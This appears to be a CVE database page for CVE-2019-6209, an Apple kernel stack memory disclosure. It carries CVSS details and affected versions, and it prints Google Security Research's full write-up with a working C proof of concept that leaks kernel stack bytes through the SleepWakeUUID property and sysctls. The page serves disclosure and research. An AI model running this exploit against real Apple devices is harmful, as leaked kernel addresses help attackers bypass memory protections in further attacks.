CVE-2019-6209 : Detail

CVE-2019-6209

5.5
/
Medium
Overflow
6.66%V4
Local
2019-03-05
15h00 +00:00
2019-03-06
09h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed with improved input validation. This issue is fixed in iOS 12.1.3, macOS Mojave 10.14.3, tvOS 12.1.2, watchOS 5.1.3. A malicious application may be able to determine kernel memory layout.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-125 Out-of-bounds Read
The product reads data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 4.3 AV:N/AC:M/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 46285

Publication date : 2019-01-29 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* macOS 10.13.4 introduced the file bsd/net/if_ports_used.c, which defines sysctls for inspecting ports, and added the function IOPMCopySleepWakeUUIDKey() to the file iokit/Kernel/IOPMrootDomain.cpp. Here's the code of the latter function: extern "C" bool IOPMCopySleepWakeUUIDKey(char *buffer, size_t buf_len) { if (!gSleepWakeUUIDIsSet) { return (false); } if (buffer != NULL) { OSString *string; string = (OSString *) gRootDomain->copyProperty(kIOPMSleepWakeUUIDKey); if (string == NULL) { *buffer = '\0'; } else { strlcpy(buffer, string->getCStringNoCopy(), buf_len); string->release(); } } return (true); } This function is interesting because it copies a caller-specified amount of data from the "SleepWakeUUID" property (which is user-controllable). Thus, if a user process sets "SleepWakeUUID" to a shorter string than the caller expects and then triggers IOPMCopySleepWakeUUIDKey(), out-of-bounds heap data will be copied into the caller's buffer. However, triggering this particular information leak is challenging, since the only caller is the function if_ports_used_update_wakeuuid(). Nonetheless, this function also contains an information leak: void if_ports_used_update_wakeuuid(struct ifnet *ifp) { uuid_t wakeuuid; // (a) wakeuuid is uninitialized. bool wakeuuid_is_set = false; bool updated = false; if (__improbable(use_test_wakeuuid)) { wakeuuid_is_set = get_test_wake_uuid(wakeuuid); } else { uuid_string_t wakeuuid_str; wakeuuid_is_set = IOPMCopySleepWakeUUIDKey(wakeuuid_str, // (b) wakeuuid_str is controllable. sizeof(wakeuuid_str)); if (wakeuuid_is_set) { uuid_parse(wakeuuid_str, wakeuuid); // (c) The return value of } // uuid_parse() is not checked. } if (!wakeuuid_is_set) { if (if_ports_used_verbose > 0) { os_log_info(OS_LOG_DEFAULT, "%s: SleepWakeUUID not set, " "don't update the port list for %s\n", __func__, ifp != NULL ? if_name(ifp) : ""); } wakeuuid_not_set_count += 1; if (ifp != NULL) { microtime(&wakeuuid_not_set_last_time); strlcpy(wakeuuid_not_set_last_if, if_name(ifp), sizeof(wakeuuid_not_set_last_if)); } return; } lck_mtx_lock(&net_port_entry_head_lock); if (uuid_compare(wakeuuid, current_wakeuuid) != 0) { // (e) These UUIDs will be different. net_port_entry_list_clear(); uuid_copy(current_wakeuuid, wakeuuid); // (f) Uninitialized stack garbage updated = true; // will be copied into a sysctl } // variable. /* * Record the time last checked microuptime(&wakeuiid_last_check); lck_mtx_unlock(&net_port_entry_head_lock); if (updated && if_ports_used_verbose > 0) { uuid_string_t uuid_str; uuid_unparse(current_wakeuuid, uuid_str); log(LOG_ERR, "%s: current wakeuuid %s\n", __func__, uuid_str); } } After the user-controllable "SleepWakeUUID" property is copied into the wakeuuid_str buffer using IOPMCopySleepWakeUUIDKey(), the UUID string is converted into a (binary) UUID using the function uuid_parse(). uuid_parse() is meant to parse the string-encoded UUID into the local wakeuuid buffer. However, the wakeuuid buffer is not initialized and the return value of uuid_parse() is not checked, meaning that if we set the "SleepWakeUUID" property's first character to anything other than a valid hexadecimal digit, we can get random stack garbage copied into the global current_wakeuuid buffer. This is problematic because current_wakeuuid is a sysctl variable, meaning its value can be read from userspace. Tested on macOS 10.13.6 17G2112: bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % clang wakeuuid-leak.c -framework IOKit -framework CoreFoundation -o wakeuuid-leak bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % ./wakeuuid-leak 1. Sleep the device. 2. Wake the device. 3. Press any key to continue. current_wakeuuid: 0xd0ddc6477f1e00b7 0xffffff801e468a28 */ /* * wakeuuid-leak.c * Brandon Azad (bazad@google.com) */ #if 0 iOS/macOS: 16-byte uninitialized kernel stack disclosure in if_ports_used_update_wakeuuid(). macOS 10.13.4 introduced the file bsd/net/if_ports_used.c, which defines sysctls for inspecting ports, and added the function IOPMCopySleepWakeUUIDKey() to the file iokit/Kernel/IOPMrootDomain.cpp. Here's the code of the latter function: extern "C" bool IOPMCopySleepWakeUUIDKey(char *buffer, size_t buf_len) { if (!gSleepWakeUUIDIsSet) { return (false); } if (buffer != NULL) { OSString *string; string = (OSString *) gRootDomain->copyProperty(kIOPMSleepWakeUUIDKey); if (string == NULL) { *buffer = '\0'; } else { strlcpy(buffer, string->getCStringNoCopy(), buf_len); string->release(); } } return (true); } This function is interesting because it copies a caller-specified amount of data from the "SleepWakeUUID" property (which is user-controllable). Thus, if a user process sets "SleepWakeUUID" to a shorter string than the caller expects and then triggers IOPMCopySleepWakeUUIDKey(), out-of-bounds heap data will be copied into the caller's buffer. However, triggering this particular information leak is challenging, since the only caller is the function if_ports_used_update_wakeuuid(). Nonetheless, this function also contains an information leak: void if_ports_used_update_wakeuuid(struct ifnet *ifp) { uuid_t wakeuuid; // (a) wakeuuid is uninitialized. bool wakeuuid_is_set = false; bool updated = false; if (__improbable(use_test_wakeuuid)) { wakeuuid_is_set = get_test_wake_uuid(wakeuuid); } else { uuid_string_t wakeuuid_str; wakeuuid_is_set = IOPMCopySleepWakeUUIDKey(wakeuuid_str, // (b) wakeuuid_str is controllable. sizeof(wakeuuid_str)); if (wakeuuid_is_set) { uuid_parse(wakeuuid_str, wakeuuid); // (c) The return value of } // uuid_parse() is not checked. } if (!wakeuuid_is_set) { if (if_ports_used_verbose > 0) { os_log_info(OS_LOG_DEFAULT, "%s: SleepWakeUUID not set, " "don't update the port list for %s\n", __func__, ifp != NULL ? if_name(ifp) : ""); } wakeuuid_not_set_count += 1; if (ifp != NULL) { microtime(&wakeuuid_not_set_last_time); strlcpy(wakeuuid_not_set_last_if, if_name(ifp), sizeof(wakeuuid_not_set_last_if)); } return; } lck_mtx_lock(&net_port_entry_head_lock); if (uuid_compare(wakeuuid, current_wakeuuid) != 0) { // (e) These UUIDs will be different. net_port_entry_list_clear(); uuid_copy(current_wakeuuid, wakeuuid); // (f) Uninitialized stack garbage updated = true; // will be copied into a sysctl } // variable. /* * Record the time last checked */ microuptime(&wakeuiid_last_check); lck_mtx_unlock(&net_port_entry_head_lock); if (updated && if_ports_used_verbose > 0) { uuid_string_t uuid_str; uuid_unparse(current_wakeuuid, uuid_str); log(LOG_ERR, "%s: current wakeuuid %s\n", __func__, uuid_str); } } After the user-controllable "SleepWakeUUID" property is copied into the wakeuuid_str buffer using IOPMCopySleepWakeUUIDKey(), the UUID string is converted into a (binary) UUID using the function uuid_parse(). uuid_parse() is meant to parse the string-encoded UUID into the local wakeuuid buffer. However, the wakeuuid buffer is not initialized and the return value of uuid_parse() is not checked, meaning that if we set the "SleepWakeUUID" property's first character to anything other than a valid hexadecimal digit, we can get random stack garbage copied into the global current_wakeuuid buffer. This is problematic because current_wakeuuid is a sysctl variable, meaning its value can be read from userspace. Tested on macOS 10.13.6 17G2112: bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % clang wakeuuid-leak.c -framework IOKit -framework CoreFoundation -o wakeuuid-leak bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % ./wakeuuid-leak 1. Sleep the device. 2. Wake the device. 3. Press any key to continue. current_wakeuuid: 0xd0ddc6477f1e00b7 0xffffff801e468a28 #endif #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <IOKit/IOKitLib.h> #include <sys/sysctl.h> int main(int argc, const char *argv[]) { CFStringRef kIOPMSleepWakeUUIDKey = CFSTR("SleepWakeUUID"); // First get IOPMrootDomain::setProperties() called with "SleepWakeUUID" set to an invalid // value. io_service_t IOPMrootDomain = IOServiceGetMatchingService( kIOMasterPortDefault, IOServiceMatching("IOPMrootDomain")); if (IOPMrootDomain == IO_OBJECT_NULL) { printf("Error: Could not look up IOPMrootDomain\n"); return 1; } kern_return_t kr = IORegistryEntrySetCFProperty( IOPMrootDomain, kIOPMSleepWakeUUIDKey, CFSTR("")); if (kr != KERN_SUCCESS) { printf("Error: Could not set SleepWakeUUID\n"); return 2; } // Next get IOPMrootDomain::handlePublishSleepWakeUUID() called, probably via // IOPMrootDomain::handleOurPowerChangeStart(). For now, just ask the tester to sleep and // wake the device. printf("1. Sleep the device.\n2. Wake the device.\n3. Press any key to continue.\n"); getchar(); // Check that we successfully set an invalid UUID. CFTypeRef value = IORegistryEntryCreateCFProperty( IOPMrootDomain, kIOPMSleepWakeUUIDKey, kCFAllocatorDefault, 0); if (!CFEqual(value, CFSTR(""))) { printf("Error: SleepWakeUUID not set successfully\n"); return 3; } // Now we need to trigger the leak in if_ports_used_update_wakeuuid(). We can use the // sysctl net.link.generic.system.get_ports_used.<ifindex>.<protocol>.<flags>. size_t get_ports_used_mib_size = 5; int get_ports_used_mib[get_ports_used_mib_size + 3]; int err = sysctlnametomib("net.link.generic.system.get_ports_used", get_ports_used_mib, &get_ports_used_mib_size); if (err != 0) { return 4; } get_ports_used_mib[get_ports_used_mib_size++] = 1; // ifindex get_ports_used_mib[get_ports_used_mib_size++] = 0; // protocol get_ports_used_mib[get_ports_used_mib_size++] = 0; // flags uint8_t ports_used[65536 / 8]; size_t ports_used_size = sizeof(ports_used); err = sysctl(get_ports_used_mib, get_ports_used_mib_size, ports_used, &ports_used_size, NULL, 0); if (err != 0) { printf("Error: sysctl %s: errno %d\n", "net.link.generic.system.get_ports_used", errno); return 5; } // Finally retrieve the leak with sysctl // net.link.generic.system.port_used.current_wakeuuid. uint8_t current_wakeuuid[16]; size_t current_wakeuuid_size = sizeof(current_wakeuuid); err = sysctlbyname("net.link.generic.system.port_used.current_wakeuuid", current_wakeuuid, &current_wakeuuid_size, NULL, 0); if (err != 0) { printf("Error: sysctl %s: errno %d\n", "net.link.generic.system.port_used.current_wakeuuid", errno); return 6; } uint64_t *leak = (uint64_t *)current_wakeuuid; printf("current_wakeuuid: 0x%016llx 0x%016llx\n", leak[0], leak[1]); return 0; }

Products Mentioned

Configuraton 0

Apple>>Iphone_os >> Version To (excluding) 12.1.3

Apple>>Mac_os_x >> Version To (excluding) 10.14.3

Apple>>Tv_os >> Version To (excluding) 12.1.2

    Apple>>Watchos >> Version To (excluding) 5.1.3

    References

    https://support.apple.com/HT209446
    Tags : x_refsource_CONFIRM
    https://support.apple.com/HT209443
    Tags : x_refsource_CONFIRM
    https://www.exploit-db.com/exploits/46285/
    Tags : exploit, x_refsource_EXPLOIT-DB
    https://support.apple.com/HT209448
    Tags : x_refsource_CONFIRM
    http://www.securityfocus.com/bid/106739
    Tags : vdb-entry, x_refsource_BID
    https://support.apple.com/HT209447
    Tags : x_refsource_CONFIRM